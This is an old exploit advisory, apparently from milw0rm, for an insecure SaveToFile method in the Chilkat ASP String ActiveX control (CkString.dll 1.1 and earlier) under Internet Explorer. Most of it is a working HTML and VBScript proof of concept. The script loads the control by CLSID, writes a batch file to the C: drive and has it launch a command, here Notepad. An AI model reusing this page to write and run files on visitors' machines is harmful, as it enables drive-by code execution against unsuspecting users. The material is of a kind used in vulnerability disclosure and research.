CHILKAT ASP String (CkString.dll <= 1.1) SaveToFile() Inscure Method
[code]<pre><code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------
<b>CHILKAT ASP String (CkString.dll <= 1.1) "SaveToFile()" Inscure Method</b>
url: [url]http://www.chilkatsoft.com/[/url]
author: shinnai
mail: shinnai[at]autistici[dot]org
site: [url]http://shinnai.altervista.org[/url]
This was written for educational purpose. Use it at your own risk.
Author will be not be responsible for any damage.
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
all software that use this ocx are vulnerable to this exploits.
<b>This control is marked as:
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller, data
IPersist Safe: Safe for untrusted: caller, data
IPStorage Safe: Safe for untrusted: caller, data</b>
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<object classid='clsid:90E567DA-5E79-4571-AB07-7A397FFBE995' id='test'></object>
<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">
<script language='vbscript'>
Sub tryMe
Dim mStr
Dim MyMsg
mStr = "echo off" & vbCrLf & _
"cls" & vbCrLf & _
"echo Hello World!" & vbCrLf & _
"cmd.exe /c notepad.exe" & vbCrLf & _
"pause"
test.str = mStr
test.SaveToFile ("c:\shinnai.bat"),"big5"
MyMsg = MsgBox("Exploit completed!")
End Sub
</script>
</span></span>
</code></pre>
# milw0rm.com [2007-08-05]
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